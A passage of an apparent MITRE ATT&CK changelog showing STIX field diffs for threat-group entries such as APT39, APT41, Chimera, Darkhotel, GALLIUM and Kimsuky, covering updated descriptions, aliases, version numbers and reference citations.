| external_references[7]['description'] | Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017. | (Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020) |
| external_references[8]['source_name'] | Crowdstrike DNC June 2016 | Cozy Bear |
| external_references[8]['description'] | Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016. | (Citation: Crowdstrike DNC June 2016)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020) |
| external_references[9]['source_name'] | FireEye APT29 Nov 2018 | CozyDuke |
| external_references[9]['description'] | Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018. | (Citation: Crowdstrike DNC June 2016) |
| external_references[10]['source_name'] | ESET Dukes October 2019 | White House Imposing Costs RU Gov April 2021 |
| external_references[10]['description'] | Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020. | White House. (2021, April 15). Imposing Costs for Harmful Foreign Activities by the Russian Government. Retrieved April 16, 2021. |
| external_references[10]['url'] | https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf | https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/ |
| external_references[11]['source_name'] | NCSC APT29 July 2020 | UK Gov Malign RIS Activity April 2021 |
| external_references[11]['description'] | National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020. | UK Gov. (2021, April 15). UK and US expose global campaign of malign activity by Russian intelligence services . Retrieved April 16, 2021. |
| external_references[11]['url'] | https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf | https://www.gov.uk/government/news/russia-uk-and-us-expose-global-campaigns-of-malign-activity-by-russian-intelligence-services |
| external_references[12]['source_name'] | Microsoft Unidentified Dec 2018 | F-Secure The Dukes |
| external_references[12]['description'] | Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019. | F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015. |
| external_references[12]['url'] | https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/ | https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf |
| x_mitre_version | 1.4 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Dark Halo | |
| aliases | StellarParticle | |
| aliases | NOBELIUM | |
| aliases | UNC2452 | |
| external_references | {'source_name': 'GRIZZLY STEPPE JAR', 'description': 'Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017.', 'url': 'https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf'} | |
| external_references | {'source_name': 'Crowdstrike DNC June 2016', 'description': 'Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.', 'url': 'https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/'} | |
| external_references | {'source_name': 'UK Gov UK Exposes Russia SolarWinds April 2021', 'description': 'UK Gov. (2021, April 15). UK exposes Russian involvement in SolarWinds cyber compromise . Retrieved April 16, 2021.', 'url': 'https://www.gov.uk/government/news/russia-uk-exposes-russian-involvement-in-solarwinds-cyber-compromise'} | |
| external_references | {'source_name': 'NSA Joint Advisory SVR SolarWinds April 2021', 'description': 'NSA, FBI, DHS. (2021, April 15). Russian SVR Targets U.S. and Allied Networks. Retrieved April 16, 2021.', 'url': 'https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF'} | |
| external_references | {'source_name': 'UK NSCS Russia SolarWinds April 2021', 'description': 'UK NCSC. (2021, April 15). UK and US call out Russia for SolarWinds compromise. Retrieved April 16, 2021.', 'url': 'https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise'} | |
| external_references | {'source_name': 'FireEye SUNBURST Backdoor December 2020', 'description': 'FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.', 'url': 'https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html'} | |
| external_references | {'source_name': 'MSTIC NOBELIUM Mar 2021', 'description': 'Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021.', 'url': 'https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/'} | |
| external_references | {'source_name': 'CrowdStrike SUNSPOT Implant January 2021', 'description': 'CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021.', 'url': 'https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/'} | |
| external_references | {'source_name': 'Volexity SolarWinds', 'description': 'Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.', 'url': 'https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/'} | |
| external_references | {'source_name': 'FireEye APT29 Nov 2018', 'description': 'Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.', 'url': 'https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html'} | |
| external_references | {'source_name': 'ESET Dukes October 2019', 'description': 'Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf'} | |
| external_references | {'source_name': 'NCSC APT29 July 2020', 'description': 'National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020.', 'url': 'https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf'} | |
| external_references | {'source_name': 'Microsoft Unidentified Dec 2018', 'description': 'Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.', 'url': 'https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/'} |
Current version: 3.0
Version changed from: 2.3 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT39](https://attack.mitre.org/groups/G0087) is an Iranian | t | 1 | [APT39](https://attack.mitre.org/groups/G0087) is one of sev |
| > | cyber espionage group that has been active since at least 2 | > | eral names for cyberespionage activity conducted by the Iran | ||
| > | 014. They have targeted the telecommunication and travel ind | > | ian Ministry of Intelligence and Security (MOIS) through the | ||
| > | ustries to collect personal information that aligns with Ira | > | front company Rana Intelligence Computing since at least 20 | ||
| > | n's national priorities. (Citation: FireEye APT39 Jan 2019)( | > | 14. [APT39](https://attack.mitre.org/groups/G0087) has prima | ||
| > | Citation: Symantec Chafer Dec 2015) | > | rily targeted the travel, hospitality, academic, and telecom | ||
| > | munications industries in Iran and across Asia, Africa, Euro | ||||
| > | pe, and North America to track individuals and entities cons | ||||
| > | idered to be a threat by the MOIS.(Citation: FireEye APT39 J | ||||
| > | an 2019)(Citation: Symantec Chafer Dec 2015)(Citation: FBI F | ||||
| > | LASH APT39 September 2020)(Citation: Dept. of Treasury Iran | ||||
| > | Sanctions September 2020)(Citation: DOJ Iran Indictments Sep | ||||
| > | tember 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html | |
| external_references | https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-11 15:46:26.496000+00:00 | 2021-04-23 02:08:55.286000+00:00 |
| description | [APT39](https://attack.mitre.org/groups/G0087) is an Iranian cyber espionage group that has been active since at least 2014. They have targeted the telecommunication and travel industries to collect personal information that aligns with Iran's national priorities. (Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015) | [APT39](https://attack.mitre.org/groups/G0087) is one of several names for cyberespionage activity conducted by the Iranian Ministry of Intelligence and Security (MOIS) through the front company Rana Intelligence Computing since at least 2014. [APT39](https://attack.mitre.org/groups/G0087) has primarily targeted the travel, hospitality, academic, and telecommunications industries in Iran and across Asia, Africa, Europe, and North America to track individuals and entities considered to be a threat by the MOIS.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020) |
| external_references[1]['description'] | (Citation: FireEye APT39 Jan 2019) | (Citation: FireEye APT39 Jan 2019)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020) |
| external_references[2]['source_name'] | Chafer | REMIX KITTEN |
| external_references[2]['description'] | Activities associated with APT39 largely align with a group publicly referred to as Chafer.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: Dark Reading APT39 JAN 2019) | (Citation: Crowdstrike GTR2020 Mar 2020) |
| external_references[3]['source_name'] | FireEye APT39 Jan 2019 | ITG07 |
| external_references[3]['description'] | Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019. | (Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020) |
| external_references[4]['source_name'] | Symantec Chafer Dec 2015 | Chafer |
| external_references[4]['description'] | Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019. | Activities associated with APT39 largely align with a group publicly referred to as Chafer.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: Dark Reading APT39 JAN 2019)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020) |
| external_references[5]['source_name'] | Dark Reading APT39 JAN 2019 | FireEye APT39 Jan 2019 |
| external_references[5]['description'] | Higgins, K. (2019, January 30). Iran Ups its Traditional Cyber Espionage Tradecraft. Retrieved May 22, 2020. | Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019. |
| external_references[5]['url'] | https://www.darkreading.com/attacks-breaches/iran-ups-its-traditional-cyber-espionage-tradecraft/d/d-id/1333764 | https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html |
| x_mitre_version | 2.3 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | REMIX KITTEN | |
| aliases | ITG07 | |
| external_references | {'source_name': 'Symantec Chafer Dec 2015', 'description': 'Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.', 'url': 'https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets'} | |
| external_references | {'source_name': 'FBI FLASH APT39 September 2020', 'description': 'FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020.', 'url': 'https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf'} | |
| external_references | {'source_name': 'Dept. of Treasury Iran Sanctions September 2020', 'description': 'Dept. of Treasury. (2020, September 17). Treasury Sanctions Cyber Actors Backed by Iranian Intelligence. Retrieved December 10, 2020.', 'url': 'https://home.treasury.gov/news/press-releases/sm1127'} | |
| external_references | {'source_name': 'DOJ Iran Indictments September 2020', 'description': 'DOJ. (2020, September 17). Department of Justice and Partner Departments and Agencies Conduct Coordinated Actions to Disrupt and Deter Iranian Malicious Cyber Activities Targeting the United States and the Broader International Community. Retrieved December 10, 2020.', 'url': 'https://www.justice.gov/opa/pr/department-justice-and-partner-departments-and-agencies-conduct-coordinated-actions-disrupt'} | |
| external_references | {'source_name': 'Crowdstrike GTR2020 Mar 2020', 'description': 'Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.', 'url': 'https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf'} | |
| external_references | {'source_name': 'Dark Reading APT39 JAN 2019', 'description': 'Higgins, K. (2019, January 30). Iran Ups its Traditional Cyber Espionage Tradecraft. Retrieved May 22, 2020.', 'url': 'https://www.darkreading.com/attacks-breaches/iran-ups-its-traditional-cyber-espionage-tradecraft/d/d-id/1333764'} |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT41](https://attack.mitre.org/groups/G0096) is a group th | t | 1 | [APT41](https://attack.mitre.org/groups/G0096) is a threat g |
| > | at carries out Chinese state-sponsored espionage activity in | > | roup that researchers have assessed as Chinese state-sponsor | ||
| > | addition to financially motivated activity. [APT41](https:/ | > | ed espionage group that also conducts financially-motivated | ||
| > | /attack.mitre.org/groups/G0096) has been active since as ear | > | operations. [APT41](https://attack.mitre.org/groups/G0096) h | ||
| > | ly as 2012. The group has been observed targeting healthcare | > | as been active since as early as 2012. The group has been ob | ||
| > | , telecom, technology, and video game industries in 14 count | > | served targeting healthcare, telecom, technology, and video | ||
| > | ries.(Citation: FireEye APT41 Aug 2019) | > | game industries in 14 countries.(Citation: FireEye APT41 Aug | ||
| > | 2019) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://content.fireeye.com/apt-41/rpt-apt41 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-24 00:51:25.764000+00:00 | 2021-04-26 13:13:46.915000+00:00 |
| description | [APT41](https://attack.mitre.org/groups/G0096) is a group that carries out Chinese state-sponsored espionage activity in addition to financially motivated activity. [APT41](https://attack.mitre.org/groups/G0096) has been active since as early as 2012. The group has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries.(Citation: FireEye APT41 Aug 2019) | [APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. [APT41](https://attack.mitre.org/groups/G0096) has been active since as early as 2012. The group has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries.(Citation: FireEye APT41 Aug 2019) |
| external_references[2]['source_name'] | FireEye APT41 Aug 2019 | WICKED PANDA |
| external_references[2]['description'] | Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019. | (Citation: Crowdstrike GTR2020 Mar 2020) |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | WICKED PANDA | |
| external_references | {'source_name': 'FireEye APT41 Aug 2019', 'description': 'Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.', 'url': 'https://content.fireeye.com/apt-41/rpt-apt41'} | |
| external_references | {'source_name': 'Crowdstrike GTR2020 Mar 2020', 'description': 'Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.', 'url': 'https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf'} |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Chimera](https://attack.mitre.org/groups/G0114) is a suspec | t | 1 | [Chimera](https://attack.mitre.org/groups/G0114) is a suspec |
| > | ted China-based threat group, targeting the semiconductor in | > | ted China-based threat group that has been active since at l | ||
| > | dustry in Taiwan since at least 2018.(Citation: Cycraft Chim | > | east 2018 targeting the semiconductor industry in Taiwan as | ||
| > | era April 2020) | > | well as data from the airline industry.(Citation: Cycraft Ch | ||
| > | imera April 2020)(Citation: NCC Group Chimera January 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-05 20:59:57.694000+00:00 | 2021-04-26 13:45:19.750000+00:00 |
| description | [Chimera](https://attack.mitre.org/groups/G0114) is a suspected China-based threat group, targeting the semiconductor industry in Taiwan since at least 2018.(Citation: Cycraft Chimera April 2020) | [Chimera](https://attack.mitre.org/groups/G0114) is a suspected China-based threat group that has been active since at least 2018 targeting the semiconductor industry in Taiwan as well as data from the airline industry.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021) |
| external_references[1]['source_name'] | Cycraft Chimera April 2020 | Chimera |
| external_references[1]['description'] | Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020. | (Citation: NCC Group Chimera January 2021) |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Cycraft Chimera April 2020', 'description': 'Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020.', 'url': 'https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf'} | |
| external_references | {'source_name': 'NCC Group Chimera January 2021', 'description': 'Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021.', 'url': 'https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/'} |
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Darkhotel](https://attack.mitre.org/groups/G0012) is a thre | t | 1 | [Darkhotel](https://attack.mitre.org/groups/G0012) is a susp |
| > | at group that has been active since at least 2004. The group | > | ected South Korean threat group that has targeted victims pr | ||
| > | has conducted activity on hotel and business center Wi‑Fi a | > | imarily in East Asia since at least 2004. The group's name i | ||
| > | nd physical connections as well as peer-to-peer and file sha | > | s based on cyber espionage operations conducted via hotel In | ||
| > | ring networks. The actors have also conducted spearphishing. | > | ternet networks against traveling executives and other selec | ||
| > | (Citation: Kaspersky Darkhotel) | > | t guests. [Darkhotel](https://attack.mitre.org/groups/G0012) | ||
| > | has also conducted spearphishing campaigns and infected vic | ||||
| > | tims through peer-to-peer and file sharing networks.(Citatio | ||||
| > | n: Kaspersky Darkhotel)(Citation: Securelist Darkhotel Aug 2 | ||||
| > | 015)(Citation: Microsoft Digital Defense FY20 Sept 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Harry, CODEMIZE'] |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:56:21.706000+00:00 | 2021-04-22 17:37:58.136000+00:00 |
| description | [Darkhotel](https://attack.mitre.org/groups/G0012) is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wi‑Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing. (Citation: Kaspersky Darkhotel) | [Darkhotel](https://attack.mitre.org/groups/G0012) is a suspected South Korean threat group that has targeted victims primarily in East Asia since at least 2004. The group's name is based on cyber espionage operations conducted via hotel Internet networks against traveling executives and other select guests. [Darkhotel](https://attack.mitre.org/groups/G0012) has also conducted spearphishing campaigns and infected victims through peer-to-peer and file sharing networks.(Citation: Kaspersky Darkhotel)(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft Digital Defense FY20 Sept 2020) |
| external_references[2]['source_name'] | Kaspersky Darkhotel | DUBNIUM |
| external_references[2]['description'] | Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014. | (Citation: Microsoft Digital Defense FY20 Sept 2020)(Citation: Microsoft DUBNIUM June 2016)(Citation: Microsoft DUBNIUM Flash June 2016)(Citation: Microsoft DUBNIUM July 2016) |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | DUBNIUM | |
| external_references | {'source_name': 'Kaspersky Darkhotel', 'description': "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.", 'url': 'https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf'} | |
| external_references | {'source_name': 'Securelist Darkhotel Aug 2015', 'description': "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", 'url': 'https://securelist.com/darkhotels-attacks-in-2015/71713/'} | |
| external_references | {'source_name': 'Microsoft Digital Defense FY20 Sept 2020', 'description': 'Microsoft . (2020, September 29). Microsoft Digital Defense Report FY20. Retrieved April 21, 2021.', 'url': 'https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWxPuf'} | |
| external_references | {'source_name': 'Microsoft DUBNIUM June 2016', 'description': 'Microsoft. (2016, June 9). Reverse-engineering DUBNIUM. Retrieved March 31, 2021.', 'url': 'https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/'} | |
| external_references | {'source_name': 'Microsoft DUBNIUM Flash June 2016', 'description': 'Microsoft. (2016, June 20). Reverse-engineering DUBNIUM’s Flash-targeting exploit. Retrieved March 31, 2021.', 'url': 'https://www.microsoft.com/security/blog/2016/06/20/reverse-engineering-dubniums-flash-targeting-exploit/'} | |
| external_references | {'source_name': 'Microsoft DUBNIUM July 2016', 'description': 'Microsoft. (2016, July 14). Reverse engineering DUBNIUM – Stage 2 payload analysis . Retrieved March 31, 2021.', 'url': 'https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/'} |
Current version: 2.0
Version changed from: 1.3 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a | t | 1 | [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a |
| > | suspected Russian group that has targeted government entitie | > | suspected Russian group that has targeted government entitie | ||
| > | s and multiple U.S. critical infrastructure sectors since at | > | s and multiple U.S. critical infrastructure sectors since at | ||
| > | least March 2016. (Citation: US-CERT TA18-074A) (Citation: | > | least December 2015. (Citation: US-CERT TA18-074A) (Citatio | ||
| > | Symantec Dragonfly Sept 2017) There is debate over the exten | > | n: Symantec Dragonfly Sept 2017) There is debate over the ex | ||
| > | t of overlap between [Dragonfly 2.0](https://attack.mitre.or | > | tent of overlap between [Dragonfly 2.0](https://attack.mitre | ||
| > | g/groups/G0074) and [Dragonfly](https://attack.mitre.org/gro | > | .org/groups/G0074) and [Dragonfly](https://attack.mitre.org/ | ||
| > | ups/G0035), but there is sufficient evidence to lead to thes | > | groups/G0035), but there is sufficient evidence to lead to t | ||
| > | e being tracked as two separate groups. (Citation: Fortune D | > | hese being tracked as two separate groups. (Citation: Fortun | ||
| > | ragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) | > | e Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 20:14:58.980000+00:00 | 2021-04-26 14:05:34.037000+00:00 |
| description | [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least March 2016. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) | [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least December 2015. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) |
| x_mitre_version | 1.3 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Operation [Soft Cell](https://attack.mitre.org/groups/G0093) | t | 1 | [GALLIUM](https://attack.mitre.org/groups/G0093) is a group |
| > | is a group that is reportedly affiliated with China and is | > | that has been active since at least 2012, primarily targetin | ||
| > | likely state-sponsored. The group has operated since at leas | > | g high-profile telecommunications networks. [GALLIUM](https: | ||
| > | t 2012 and has compromised high-profile telecommunications n | > | //attack.mitre.org/groups/G0093) has been identified in some | ||
| > | etworks.(Citation: Cybereason Soft Cell June 2019) | > | reporting as likely a Chinese state-sponsored group, based | ||
| > | in part on tools used and TTPs commonly associated with Chin | ||||
| > | ese threat actors.(Citation: Cybereason Soft Cell June 2019) | ||||
| > | (Citation: Microsoft GALLIUM December 2019) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 02:45:28.994000+00:00 | 2021-04-23 01:32:21.874000+00:00 |
| name | Soft Cell | GALLIUM |
| description | Operation [Soft Cell](https://attack.mitre.org/groups/G0093) is a group that is reportedly affiliated with China and is likely state-sponsored. The group has operated since at least 2012 and has compromised high-profile telecommunications networks.(Citation: Cybereason Soft Cell June 2019) | [GALLIUM](https://attack.mitre.org/groups/G0093) is a group that has been active since at least 2012, primarily targeting high-profile telecommunications networks. [GALLIUM](https://attack.mitre.org/groups/G0093) has been identified in some reporting as likely a Chinese state-sponsored group, based in part on tools used and TTPs commonly associated with Chinese threat actors.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019) |
| aliases[0] | Soft Cell | GALLIUM |
| external_references[1]['source_name'] | Soft Cell | GALLIUM |
| external_references[1]['description'] | (Citation: Cybereason Soft Cell June 2019) | (Citation: Microsoft GALLIUM December 2019) |
| external_references[2]['source_name'] | Cybereason Soft Cell June 2019 | Operation Soft Cell |
| external_references[2]['description'] | Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019. | (Citation: Cybereason Soft Cell June 2019) |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Operation Soft Cell | |
| external_references | {'source_name': 'Cybereason Soft Cell June 2019', 'description': 'Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.', 'url': 'https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers'} | |
| external_references | {'source_name': 'Microsoft GALLIUM December 2019', 'description': 'MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021.', 'url': 'https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/'} | |
| x_mitre_contributors | Daniyal Naeem, BT Security |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Kimsuky](https://attack.mitre.org/groups/G0094) is a North | t | 1 | [Kimsuky](https://attack.mitre.org/groups/G0094) is a North |
| > | Korean-based threat group that has been active since at leas | > | Korean-based threat group that has been active since at leas | ||
| > | t September 2013. The group focuses on targeting Korean thin | > | t September 2013. The group initially focused on targeting K | ||
| > | k tank as well as DPRK/nuclear-related targets. The group wa | > | orean think tanks and DPRK/nuclear-related targets, expandin | ||
| > | s attributed as the actor behind the Korea Hydro & Nuclear P | > | g recently to the United States, Russia, and Europe. The gro | ||
| > | ower Co. compromise.(Citation: EST Kimsuky April 2019)(Citat | > | up was attributed as the actor behind the Korea Hydro & Nucl | ||
| > | ion: BRI Kimsuky April 2019) | > | ear Power Co. compromise.(Citation: EST Kimsuky April 2019)( | ||
| > | Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsu | ||||
| > | ky November 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://blog.alyac.co.kr/2234 | |
| external_references | https://brica.de/alerts/alert/public/1255063/kimsuky-unveils-apt-campaign-smoke-screen-aimed-at-korea-and-america/ |
| STIX Field | Old value | New Value |
|---|---|---|
